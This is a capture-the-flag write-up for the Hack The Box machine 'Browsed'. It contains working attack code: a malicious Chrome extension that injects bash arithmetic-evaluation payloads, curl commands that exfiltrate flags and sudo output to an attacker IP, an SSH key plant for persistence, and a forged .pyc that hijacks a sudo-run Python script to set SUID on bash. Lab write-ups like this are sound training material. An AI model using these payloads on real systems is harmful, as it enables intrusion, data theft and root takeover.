Browsed

date: 2026-01-10 difficulty: Medium os: Linux
Chrome extensionbash arithmetic evaluationPython pyc injectionsudo abuseGiteaFlask
Browsed pwned certificate

Browsed – HTB Writeup

Machine Summary

Property Value
Name Browsed
IP 10.129.244.79
OS Linux (Ubuntu 24.04)
Difficulty Medium
Key Topics Chrome extension abuse, bash arithmetic evaluation, Python .pyc injection, sudo privilege escalation

Overview

Browsed was a Medium Linux machine running nginx with two virtual hosts: a static site with a Chrome extension upload feature (browsed.htb), and an internal Gitea instance (browsedinternals.htb). The server executed uploaded Chrome extensions in a headless Chrome for Testing v134 instance, which visited the Gitea site and localhost. A public Gitea repository revealed a Flask application on localhost:5000 with a bash script vulnerable to arithmetic evaluation injection. A malicious Chrome extension called the vulnerable Flask endpoint to achieve RCE as user larry. Privilege escalation was achieved by injecting a malicious .pyc file into a world-writable __pycache__ directory belonging to a Python script that larry could run as root via sudo.

Reconnaissance

An nmap scan of all 65535 TCP ports revealed only two open services:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)

The HTTP title was “Browsed” and the hostname browsed.htb was added to /etc/hosts. TTL of 63 from the initial ping confirmed a Linux target behind one hop.

Enumeration

browsed.htb – Chrome Extension Upload

Fingerprinting with whatweb showed a static HTML5 UP template site with jQuery and PHP backend. Three key pages were identified:

  • /index.html – Homepage mentioning Chrome v134 extensions
  • /samples.html – Three sample Chrome MV3 extensions (Fontify, ReplaceImages, Timer) available for download
  • /upload.php – Form accepting Chrome extensions as .zip files (content type must be application/zip)

Uploading a test extension and polling upload.php?output=1 revealed Chrome’s verbose logs. Critical findings from the logs:

  • Chrome for Testing installed at /opt/chrome-linux64/
  • Chrome ran as the www user (profile at /var/www/.config/google-chrome-for-testing/)
  • Extensions were extracted to /tmp/extension_*
  • After loading the extension, Chrome navigated to http://browsedinternals.htb/ and http://localhost/
  • CSS paths in the response HTML disclosed Gitea 1.24.5 on browsedinternals.htb

The hostname browsedinternals.htb was added to /etc/hosts.

browsedinternals.htb – Gitea 1.24.5

The Gitea instance had open registration and one public user larry with a public repository MarkdownPreview. The repository source code was retrieved via the Gitea API:

app.py – A Flask application running on 127.0.0.1:5000 with these endpoints:

Endpoint Method Function
/ GET Markdown editor form
/submit POST Convert markdown to HTML, save to files/
/routines/<rid> GET Execute subprocess.run(["./routines.sh", rid])
/view/<filename> GET Serve saved HTML files (uses secure_filename)

routines.sh – A bash script managing temp files, backups, and logs. The critical section:

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  ...
elif [[ "$1" -eq 1 ]]; then
  ...

The use of -eq (integer comparison) inside [[ ]] triggers bash arithmetic evaluation on $1. This is the vulnerability: bash evaluates array subscripts as commands, so a payload like a[$(command)] causes command substitution during the arithmetic evaluation.

Exploitation – User Flag

Attack Chain

  1. Upload a malicious Chrome MV3 extension to browsed.htb/upload.php
  2. Server-side Chrome loads the extension and visits browsedinternals.htb and localhost
  3. The extension’s service worker makes fetch requests to localhost:5000/routines/<payload>
  4. Flask passes the payload to subprocess.run(["./routines.sh", payload])
  5. Bash evaluates the payload as an arithmetic expression, triggering command substitution

Key Constraint

Flask’s <rid> route parameter does not match paths containing / characters. All payloads had to be crafted without forward slashes. This was solved by using cd ~ to navigate to home directories and find with -name to locate files.

Malicious Extension

The extension used manifest_version 3 with a service worker (background.js) and content script:

manifest.json:

{
  "manifest_version": 3,
  "name": "RCEHelper",
  "version": "1.0",
  "permissions": [],
  "host_permissions": ["<all_urls>"],
  "background": { "service_worker": "background.js" },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_idle"
  }]
}

background.js (key function):

async function tryRoutine(payload, label) {
  // payload must NOT contain / (Flask <rid> route won't match)
  if (payload.includes('/')) return;
  const url = "http://localhost:5000/routines/" + encodeURIComponent(payload);
  const resp = await fetch(url);
  // ...
}

The payloads used the bash arithmetic evaluation trick:

// Get user flag
await tryRoutine('a[$(find ~ -name user.txt | xargs cat | curl -d @- 10.10.14.51:9999)]', 'flag');

// Get id
await tryRoutine('a[$(id | curl -d @- 10.10.14.51:9999)]', 'id');

// Create .ssh directory and add SSH key for persistent access
await tryRoutine('a[$(cd ~ && mkdir -p .ssh)]', 'mkdir_ssh');
await tryRoutine('a[$(cd ~ && cd .ssh && echo BASE64KEY | base64 -d >> authorized_keys)]', 'add_key');
await tryRoutine('a[$(cd ~ && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys)]', 'fix_perms');

// Enumerate sudo privileges
await tryRoutine('a[$(sudo -l 2>&1 | curl -d @- 10.10.14.51:9999)]', 'sudo_l');

Execution

A Python HTTP listener was started on the attacker machine (port 9999) to receive exfiltrated data. The extension was zipped and uploaded:

cd exploits/rce_ext && zip -j ../rce_ext.zip manifest.json background.js content.js
curl -X POST http://browsed.htb/upload.php -F "extension=@rce_ext.zip;type=application/zip"

The listener received callbacks confirming RCE as larry (uid=1000). The user flag was exfiltrated and an SSH key was injected for persistent access.

ssh -i exploits/larry_key larry@10.129.244.79 "cat /home/larry/user.txt"
5e827d3fc8fa66b1bef810477e90d455

The sudo -l output revealed the privilege escalation vector:

(root) NOPASSWD: /opt/extensiontool/extension_tool.py

User Flag: 5e827d3fc8fa66b1bef810477e90d455

Privilege Escalation – Root Flag

Enumeration

With SSH access as larry, the sudo-allowed script was analysed:

cat /opt/extensiontool/extension_tool.py
cat /opt/extensiontool/extension_utils.py
ls -la /opt/extensiontool/__pycache__/

Key findings:

  • extension_tool.py imports extension_utils and jsonschema
  • extension_utils.py contains extension validation and cleanup functions
  • /opt/extensiontool/__pycache__/ had permissions drwxrwxrwx (world-writable) and was empty

Python .pyc Injection

When Python imports a module, it checks __pycache__/ for a compiled .pyc file before reading the .py source. By placing a malicious .pyc in the world-writable __pycache__/ directory, the import could be hijacked when extension_tool.py ran as root.

The .pyc file header was crafted with flags=1 (hash-based, unchecked invalidation). With this flag, Python loads the cached bytecode without verifying the source hash, so it executes the malicious code regardless of what the real extension_utils.py contains.

python3.12 -c '
import py_compile, struct, os, time, marshal, types

# Malicious code to execute as root
code_str = """
import os
os.system("cp /root/root.txt /tmp/root_flag.txt && chmod 644 /tmp/root_flag.txt")
os.system("chmod u+s /bin/bash")
"""

# Compile to code object
code = compile(code_str, "extension_utils.py", "exec")

# Build .pyc with flags=1 (hash-based unchecked)
magic = (3531).to_bytes(2, "little") + b"\r\n"  # Python 3.12 magic
flags = (1).to_bytes(4, "little")               # unchecked hash-based
source_hash = b"\x00" * 8                        # ignored when unchecked
marshalled = marshal.dumps(code)

pyc_data = magic + flags + source_hash + marshalled

with open("/tmp/extension_utils.cpython-312.pyc", "wb") as f:
    f.write(pyc_data)
'

The compiled .pyc was placed in the target directory and the sudo script was executed:

cp /tmp/extension_utils.cpython-312.pyc /opt/extensiontool/__pycache__/
sudo /opt/extensiontool/extension_tool.py --ext Fontify

Python imported the malicious extension_utils from __pycache__/ as root, which:

  1. Copied /root/root.txt to /tmp/root_flag.txt with world-readable permissions
  2. Set the SUID bit on /bin/bash
cat /tmp/root_flag.txt
57c26369d7e423e2ba313ad8f31fa457

ls -la /bin/bash
-rwsr-xr-x 1 root root ... /bin/bash

Root Flag: 57c26369d7e423e2ba313ad8f31fa457

Obstacles & Lessons Learned

  1. No forward slashes in Flask route parameter: The Flask <rid> route type does not match paths containing /. All bash payloads had to avoid / entirely. This was overcome by using cd ~ for navigation and find -name for file discovery instead of absolute paths.

  2. SSH key injection via base64: The SSH public key itself contained / characters, which would break the payload. This was solved by base64-encoding the key and using echo KEY | base64 -d >> authorized_keys on the target.

  3. Python .pyc header flags: Simply compiling a .pyc with py_compile would produce a timestamp-based cache file that Python would reject because the timestamp would not match extension_utils.py. Setting flags=1 in the .pyc header switched Python to hash-based unchecked invalidation mode, causing it to load the cached bytecode without any source verification.

  4. Service worker vs content script: The initial approach of using only content scripts was insufficient because localhost:5000 needed to be fetched from a context that could reach it. The MV3 service worker (background.js) had the right permissions via host_permissions: ["<all_urls>"] to make cross-origin fetch requests directly to localhost:5000.

Tools Used

Tool Purpose
nmap TCP port scanning and service version detection
whatweb Web technology fingerprinting
curl HTTP requests for upload, API interaction, and testing
ffuf Virtual host / subdomain enumeration
python3 HTTP listener for data exfiltration, .pyc compilation
zip Packaging the malicious Chrome extension
ssh / ssh-keygen Persistent access after initial RCE
Chrome for Testing (server-side) Executed the uploaded malicious extension